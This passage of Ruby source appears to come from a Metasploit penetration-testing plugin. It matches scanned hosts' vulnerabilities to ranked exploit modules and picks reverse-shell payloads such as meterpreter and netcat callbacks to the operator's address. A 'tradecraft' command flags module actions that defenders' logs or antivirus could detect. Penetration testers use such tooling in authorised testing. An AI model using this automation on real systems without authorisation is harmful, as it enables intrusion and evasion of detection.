            :port       => x.datastore['RPORT'],
            :platforms  => x.platform.names.join(" "),
            :date       => x.disclosure_date,
            :references => x.references,
            :rank       => x.rank
          }
          exploits << exploit
        end
      end

      print_status("Matching Exploits (This will take a while depending on number of hosts)...")
      framework.db.workspace.hosts.each do |h|
        # Check that host has vulnerabilities associated in the DB
        if h.vulns.length > 0
          os_type = normalise_os(h.os_name)
          #payload = chose_pay(h.os_name)
          exploits.each do |e|
            found = false
            next if not e[:rank] >= min_rank
            if e[:platforms].downcase =~ /#{os_type}/
              # lets get the proper references
              e_refs = parse_references(e[:references])
              h.vulns.each do |v|
                v.refs.each do |f|
                  # Filter out Nessus notes
                  next if f.name =~ /^NSS|^CWE/
                  if e_refs.include?(f.name) and not found
                    # Save exploits in manner easy to retrieve later
                    exploit = {
                      :exploit => e[:exploit],
                      :port    => e[:port],
                      :target  => h.address,
                      :rank    => e[:rank]
                    }
                    matched_exploits << exploit
                    found = true
                  end
                end
              end
            end
          end
        end
      end

      if matched_exploits.length > 0
        # Sort by rank with highest ranked exploits first
        matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
        print_good("Matched Exploits:")
        matched_exploits.each do |e|
          print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
        end
      else
        print_status("No Matching Client Side Exploits where found.")
      end
    end


    # Normalize the OS name since different scanner may have entered different values.
    def normalise_os(os_name)
      case os_name
      when /(Microsoft|Windows)/i
        os = "windows"
      when /(Linux|Ubuntu|CentOS|RedHat)/i
        os = "linux"
      when /aix/i
        os = "aix"
      when /(freebsd)/i
        os = "bsd"
      when /(hpux|hp-ux)/i
        os = "hpux"
      when /solaris/i
        os = "solaris"
      when /(Apple|OSX|OS X)/i
        os = "osx"
      end
      return os
    end


    # Parse the exploit references and get a list of CVE, BID and OSVDB values that
    # we can match accurately.
    def parse_references(refs)
      references = []
      refs.each do |r|
        # We do not want references that are URLs
        next if r.ctx_id == "URL"
        # Format the reference as it is saved by Nessus
        references << "#{r.ctx_id}-#{r.ctx_val}"
      end
      return references
    end


    # Choose the proper payload
    def chose_pay(mod, rhost)
      # taken from the exploit ui mixin
      # A list of preferred payloads in the best-first order
      set_mod = nil
      pref = [
        'windows/meterpreter/reverse_tcp',
        'java/meterpreter/reverse_tcp',
        'php/meterpreter/reverse_tcp',
        'php/meterpreter_reverse_tcp',
        'cmd/unix/interact',
        'cmd/unix/reverse',
        'cmd/unix/reverse_perl',
        'cmd/unix/reverse_netcat',
        'windows/meterpreter/reverse_nonx_tcp',
        'windows/meterpreter/reverse_ord_tcp',
        'windows/shell/reverse_tcp',
        'generic/shell_reverse_tcp'
      ]
      pset = mod.compatible_payloads.map{|x| x[0] }
      pref.each do |n|
        if(pset.include?(n))
          print_status("\tPayload choosen is #{n}")
          mod.datastore['PAYLOAD'] = n
          mod.datastore['LHOST']   = Rex::Socket.source_address(rhost)
          return mod
        else
          # grab the first compatible payload.
          print_status("\tCompatible payload not in prefered payload list.")
          print_status("\tPayload choosen is #{pset[0]}")
          mod.datastore['PAYLOAD'] = pset[0]
          mod.datastore['LHOST']   = Rex::Socket.source_address(rhost)
          return mod
        end
      end
    end


    # Create a payload given a name, lhost and lport, additional options
    def create_payload(name, lhost, lport, opts = "")
      pay = framework.payloads.create(name)
      pay.datastore['LHOST'] = lhost
      pay.datastore['LPORT'] = lport
      if not opts.empty?
        opts.split(",").each do |o|
          opt,val = o.split("=", 2)
          pay.datastore[opt] = val
        end
      end
      # Validate the options for the module
      if pay.options.validate(pay.datastore)
        print_good("Payload option validation passed")
      end
      return pay

    end


    def get_current_sessions()
      session_hosts = framework.sessions.map { |s,r| r.tunnel_peer.split(":")[0] }
      return session_hosts
    end


    # Method to write string to file
    def file_write(file2wrt, data2wrt)
      if not ::File.exists?(file2wrt)
        ::FileUtils.touch(file2wrt)
      end
      output = ::File.open(file2wrt, "a")
      data2wrt.each_line do |d|
        output.puts(d)
      end
      output.close
    end


    def get_job_count
      job_count = 1
      framework.jobs.each do |k,j|
        if j.name !~ /handler/
          job_count =  job_count + 1
        end
      end
      return job_count
    end


    def jobwaiting(maxjobs, verbose=true)
      while(get_job_count >= maxjobs)
        ::IO.select(nil, nil, nil, 2.5)
        if verbose
          print_status("Waiting for some modules to finish")
        end
      end
    end
  end

  # Tradecraft commands
  ################################################################################################
  class TradeCraftCommandDispatcher
    include Msf::Ui::Console::CommandDispatcher

    # Set name for command dispatcher
    def name
      "Tradecraft"
    end

    # Define Commands
    def commands
      {
        'check_footprint'     => 'Checks the possible footprint of a post module on a target system.',
      }
    end

    # Function for doing auto complete on module name
    def tab_complete_module(str, words)
      res = []
      framework.modules.module_types.each do |mtyp|
        mset = framework.modules.module_names(mtyp)
        mset.each do |mref|
          res << mtyp + '/' + mref
        end
      end

      return res.sort
    end

    # Function  to do tab complete on modules for check_footprint
    def cmd_check_footprint_tabs(str, words)
      tab_complete_module(str, words)
    end

    def cmd_check_footprint(*args)
        opts = Rex::Parser::Arguments.new(
          "-m"   => [ true,   "Module to check."],
          "-h"   => [ false,  "Command Help."]
        )
        post_mod = nil
        # Parse options
        opts.parse(args) do |opt, idx, val|
          case opt
          when "-m"
            post_mod = val
          when "-h"
            print_line opts.usage
            return
          else
            print_status "Please specify a module to check with the -m option."
            return
          end
        end

        if post_mod.nil?
          if active_module
            path   = active_module.file_path
            if active_module.fullname =~ /^post|^exploit/
              m = active_module
            else
              print_error "This module is not a exploit or post module."
              return 
            end
            if active_module.session_types.include?("shell")
              print_line "\n%bld%redWARNING%clr This module supports Shell type sessions. All actions may be logged. %bld%redWARNING%clr\n"
            end
            module_code = ::File.read(path)
          else
            print_error('No module specified.')
          end
        else
          if post_mod =~ /^post/
            post_module= post_mod.gsub(/^post\//,"")
            m = framework.post.create(post_module)
          elsif post_mod =~ /^exploit/
            exploit_module= post_mod.gsub(/^exploit\//,"")
            m = framework.exploits.create(exploit_module)
          else
            print_error "This module is not a exploit or post module."
            return
          end
          if m.session_types.include?("shell")
            print_line "\n%bld%redWARNING%clr This module supports Shell type sessions. All actions may be logged. %bld%redWARNING%clr\n"
          end
          module_code = ::File.read(m.file_path)
        end

        indicator_found = false
        tbl = Rex::Text::Table.new(
          'Columns' => [
            'Indicator',
            'Description'
          ])

        footprint_generators = {
          'cmd_exec' => 'This module will create a process that can be logged.',
          '<client|session>.sys.process.execute' => 'This module will create a process that can be logged.',
          'run_cmd' => 'This module will create a process that can be logged.',
          'check_osql' => 'This module will create a osql.exe process that can be logged.',
          'check_sqlcmd' => 'This module will create a sqlcmd.exe process that can be logged.',
          'wmic_query' => 'This module will create a wmic.exe process that can be logged.',
          'get_whoami' => 'This module will create a whoami.exe process that can be logged.',
          "service_create" => 'This module manipulates a service in a way that can be logged',
          "service_start" => 'This module manipulates a service in a way that can be logged',
          "service_change_config" => 'This module manipulates a service in a way that can be logged',
          "service_change_startup" => 'This module manipulates a service in a way that can be logged',
          "get_vss_device" => 'This module will create a wmic.exe process that can be logged.',
          "vss_list" => 'This module will create a wmic.exe process that can be logged.',
          "vss_get_ids" => 'This module will create a wmic.exe process that can be logged.',
          "vss_get_storage" => 'This module will create a wmic.exe process that can be logged.',
          "get_sc_details" => 'This module will create a wmic.exe process that can be logged.',
          "get_sc_param" => 'This module will create a wmic.exe process that can be logged.',
          "vss_get_storage_param" => 'This module will create a wmic.exe process that can be logged.',
          "vss_set_storage" => 'This module will create a wmic.exe process that can be logged.',
          "create_shadowcopy" => 'This module will create a wmic.exe process that can be logged.',
          "start_vss" => 'This module will create a wmic.exe process that can be logged.',
          "start_swprv" => 'This module manipulates a service in a way that can be logged',
          "execute_shellcode" => 'This module will create a thread that can be detected (Sysmon).',
          "is_in_admin_group" => 'This module will create a whoami.exe process that can be logged.',
          "upload_file" => 'This module uploads a file on to the target, AVs will examine the file and action may be logged if folder is audited.',
          "file_local_write" => 'This module writes to a file or may create one, action may be logged if folder is audited or examined by AV.',
          "write_file" => 'This module writes to a file or may create one, action may be logged if folder is audited or examined by AV.',
          "append_file" => 'This module writes to a file or may create one, action may be logged if folder is audited or examined by AV.',
          "rename_file" => 'This module renames a file or may create one, action may be logged if folder is audited or examined by AV.'
      }
      
      footprint_generators.each { |key, value|
        if module_code.include?(key)
          indicator_found = true
          tbl << ["%bld%red#{key}%clr",value]
        end
      }

      if indicator_found
        print_line(tbl.to_s)
      else
        print_good("No indicators found.")
      end
    end
  end
#-------------------------------------------------------------------------------------------------
  def initialize(framework, opts)
    super
    if framework.db and framework.db.active
      add_console_dispatcher(PostautoCommandDispatcher)
      add_console_dispatcher(ProjectCommandDispatcher)
      add_console_dispatcher(DiscoveryCommandDispatcher)
      add_console_dispatcher(AutoExploit)
      add_console_dispatcher(TradeCraftCommandDispatcher)

      archive_path =  ::File.join(Msf::Config.log_directory,"archives")
      project_paths = ::File.join(Msf::Config.log_directory,"projects")

      # Create project folder if first run
      if not ::File.directory?(project_paths)
        ::FileUtils.mkdir_p(project_paths)
      end

      # Create archive folder if first run
      if not ::File.directory?(archive_path)
        ::FileUtils.mkdir_p(archive_path)
      end
      banner = %{
       ___         _          _     ___ _           _
      | _ \\___ _ _| |_ ___ __| |_  | _ \\ |_  _ __ _(_)_ _
      |  _/ -_) ' \\  _/ -_|_-<  _| |  _/ | || / _` | | ' \\ 
      |_| \\___|_||_\\__\\___/__/\\__| |_| |_|\\_,_\\__, |_|_||_|
                                              |___/
      }
      print_line banner
      print_line "Version 1.6"
      print_line "Pentest plugin loaded."
      print_line "by Carlos Perez (carlos_perez[at]darkoperator.com)"
    else
      print_error("This plugin requires the framework to be connected to a Database!")
    end
  end

  def cleanup
    remove_console_dispatcher('Postauto')
    remove_console_dispatcher('Project')
    remove_console_dispatcher('Discovery')
    remove_console_dispatcher('auto_exploit')
    remove_console_dispatcher('Tradecraft')
  end

  def name
    "pentest"
  end

  def desc
    "Plugin for Post-Exploitation automation."
  end
protected
end
end
